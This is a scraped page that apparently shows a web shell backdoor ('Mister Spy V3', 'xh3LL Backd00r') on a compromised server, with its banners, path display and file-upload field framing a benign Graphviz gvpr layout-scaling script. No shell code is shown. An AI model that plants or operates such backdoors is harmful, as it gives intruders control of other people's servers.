Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /usr/share/graphviz/gvpr/
Upload File :
Current File : //usr/share/graphviz/gvpr/scale

/* finds node n with root attribute 
 * finds distance minr of closest node
 * the layout is then scaled out from n so that 
 * a node is put on the smallest circle of radius x*minr
 * containing n
 */
BEG_G {
  node_t ctr;
  int cx, cy;
  int x, y;
  double delx, dely;
  int newx, newy;
  node_t n;
  edge_t e;
  int i, sc, d, mind = -1;
  double fact, newr, ang, minr;
  
  ctr = node($,aget($,"root"));
  sscanf (ctr.pos, "%d,%d", &cx, &cy);
  for (e = fstedge(ctr); e; e = nxtedge(e, ctr)) {
    if (e.head == ctr) n = e.tail;
    else n = e.head;
    sscanf (n.pos, "%d,%d", &x, &y);
    d = (x-cx)*(x-cx) + (y-cy)*(y-cy);
    if ((mind == -1) || (d < mind)) mind = d;
  } 
  minr = (int)sqrt((double)mind);
}

N [$ != ctr] {
  
    sscanf ($.pos, "%d,%d", &x, &y);
    dely = y - cy;
    delx = x - cx;
    d = delx*delx + dely*dely;
    sc = (int)sqrt((double)(d/mind));
    if (sc > 1) {
      fact = 2.0;
      for (i=1; i<sc-1;i++) fact *= 2.0;
      newr = minr*(2.0 - (1.0/fact));
      ang = atan2 (dely, delx);
      newx = newr*cos(ang) + cx; 
      newy = newr*sin(ang) + cy; 
      $.pos = sprintf ("%d,%d", newx, newy);
    }
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat